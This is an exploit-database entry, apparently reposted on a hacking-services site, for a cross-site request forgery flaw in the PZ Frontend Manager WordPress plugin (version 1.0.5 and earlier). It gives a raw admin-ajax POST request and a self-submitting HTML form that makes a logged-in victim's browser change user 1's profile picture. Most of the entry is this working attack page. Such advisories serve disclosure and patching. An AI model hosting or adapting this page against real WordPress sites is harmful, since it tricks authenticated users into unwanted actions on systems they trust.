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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-07-01
# Exploit Author: Vuln Seeker Cybersecurity Team
# Vendor Homepage: https://wordpress.org/plugins/pz-frontend-manager/
# Version: <= 1.0.5
# Tested on: Firefox
# Contact me: vulns@vulnseeker.org

The plugin does not have CSRF checks in some places, which could allow
attackers to make logged in users perform unwanted actions via CSRF attacks.

Proof of concept:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:10003
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0)
Gecko/20100101 Firefox/124.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1093
Origin: http://localhost:10003
Sec-GPC: 1
Connection: close
Cookie: Cookie

action=pzfm_upload_avatar&imageData=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAADcAAAA3CAAAAACNsI2aAAAACXBIWXMAAAB5AAAAeQBPsriEAAAB6ElEQVR42rVWO46EMAzNadAcY3vaOQMXoXcXKZehS8NpqNxamw8JxDYra1Zjhgge9jhx%2FBy7bYvtl4Y8Qn%2BtEjty6WxuQ0KkfOM5wJEeEkT1bsigU%2BxGQV%2BQfZ2ned0LAkLnyQ4XV2XB%2Fk%2BjXdTs8Mc1%2BUlvQehEt5Fit7hLFsUfqfOk3d1lJ9VO%2BqN1sFvJm%2BIScB7s3uo8ZVzC8RrsXjIuqp2n0d%2BsxFNbHxCw9cF34yn2L5jyJWndIprzRfqLpvw0%2B6PCh1fjgxpP5NL4VzlYEa6zOYDgzyvk0cMbykMek6THipSXAD5%2FBKh8H%2F3JGZTxPgM9Px9WDL0CkM1ORJie48nsWAXQ8kW1YxlknKfIWJs%2FEBXgoZ6Jf2KMNMYz4FgBJjTGkxR%2FH67vm%2FH8eP9ShlyRqfli24c0svy0zLNXgOkNtQJEle%2FP%2FMPOv8T3TGZIZIbO7sL7BMON74nkuQqUj4XvnMvwiNCBjO%2Byev2NVDtZLeX5rvD9lu0zauxW%2Ba6dBvJ8H5Gyfzz3wIBkO57rYECyHeeWF%2BxW%2BYcT47Jkdzi4TpT%2BlPNdIv9Z34fxNOxf0PhO91yw5MuMen56AxLPOtG7W9T63SCQ2k9Uol1so3bVnrog2JTyU57n1bb37n3s5s8Of5RfsaTdSlfuyUAAAAA8dEVYdGNvbW1lbnQAIEltYWdlIGdlbmVyYXRlZCBieSBHTlUgR2hvc3RzY3JpcHQgKGRldmljZT1wbm1yYXcpCvqLFvMAAABKdEVYdHNpZ25hdHVyZQA4NWUxYWU0YTJmYmE3OGVlZDRmZDhmMGFjZjIzNzYwOWU4NGY1NDk2Y2RlMjBiNWQ3NmM5Y2JjMjk4YzRhZWJjJecJ2gAAAABJRU5ErkJggg%3D%3D&userID=1


CSRF Exploit:

<html>
  <body>
    <form action="http://localhost:10003/wp-admin/admin-ajax.php"
method="POST">
      <input type="hidden" name="action" value="pzfm_upload_avatar" />
      <input type="hidden" name="imageData"
value="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADcAAAA3CAAAAACNsI2aAAAACXBIWXMAAAB5AAAAeQBPsriEAAAB6ElEQVR42rVWO46EMAzNadAcY3vaOQMXoXcXKZehS8NpqNxamw8JxDYra1Zjhgge9jhx/By7bYvtl4Y8Qn+tEjty6WxuQ0KkfOM5wJEeEkT1bsigU+xGQV+QfZ2ned0LAkLnyQ4XV2XB/k+jXdTs8Mc1+UlvQehEt5Fit7hLFsUfqfOk3d1lJ9VO+qN1sFvJm+IScB7s3uo8ZVzC8RrsXjIuqp2n0d+sxFNbHxCw9cF34yn2L5jyJWndIprzRfqLpvw0+6PCh1fjgxpP5NL4VzlYEa6zOYDgzyvk0cMbykMek6THipSXAD5/BKh8H/3JGZTxPgM9Px9WDL0CkM1ORJie48nsWAXQ8kW1YxlknKfIWJs/EBXgoZ6Jf2KMNMYz4FgBJjTGkxR/H67vm/H8eP9ShlyRqfli24c0svy0zLNXgOkNtQJEle/P/MPOv8T3TGZIZIbO7sL7BMON74nkuQqUj4XvnMvwiNCBjO+yev2NVDtZLeX5rvD9lu0zauxW+a6dBvJ8H5Gyfzz3wIBkO57rYECyHeeWF+xW+YcT47Jkdzi4TpT+lPNdIv9Z34fxNOxf0PhO91yw5MuMen56AxLPOtG7W9T63SCQ2k9Uol1so3bVnrog2JTyU57n1bb37n3s5s8Of5RfsaTdSlfuyUAAAAA8dEVYdGNvbW1lbnQAIEltYWdlIGdlbmVyYXRlZCBieSBHTlUgR2hvc3RzY3JpcHQgKGRldmljZT1wbm1yYXcpCvqLFvMAAABKdEVYdHNpZ25hdHVyZQA4NWUxYWU0YTJmYmE3OGVlZDRmZDhmMGFjZjIzNzYwOWU4NGY1NDk2Y2RlMjBiNWQ3NmM5Y2JjMjk4YzRhZWJjJecJ2gAAAABJRU5ErkJggg=="
/>
      <input type="hidden" name="userID" value="1"" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Profile picture of user 1 will be changed in the dashboard
http://localhost:10003/dashboard/?dashboard=profile

Reference:
https://wpscan.com/vulnerability/73ba55a5-6cff-40fc-9686-30c50f060732/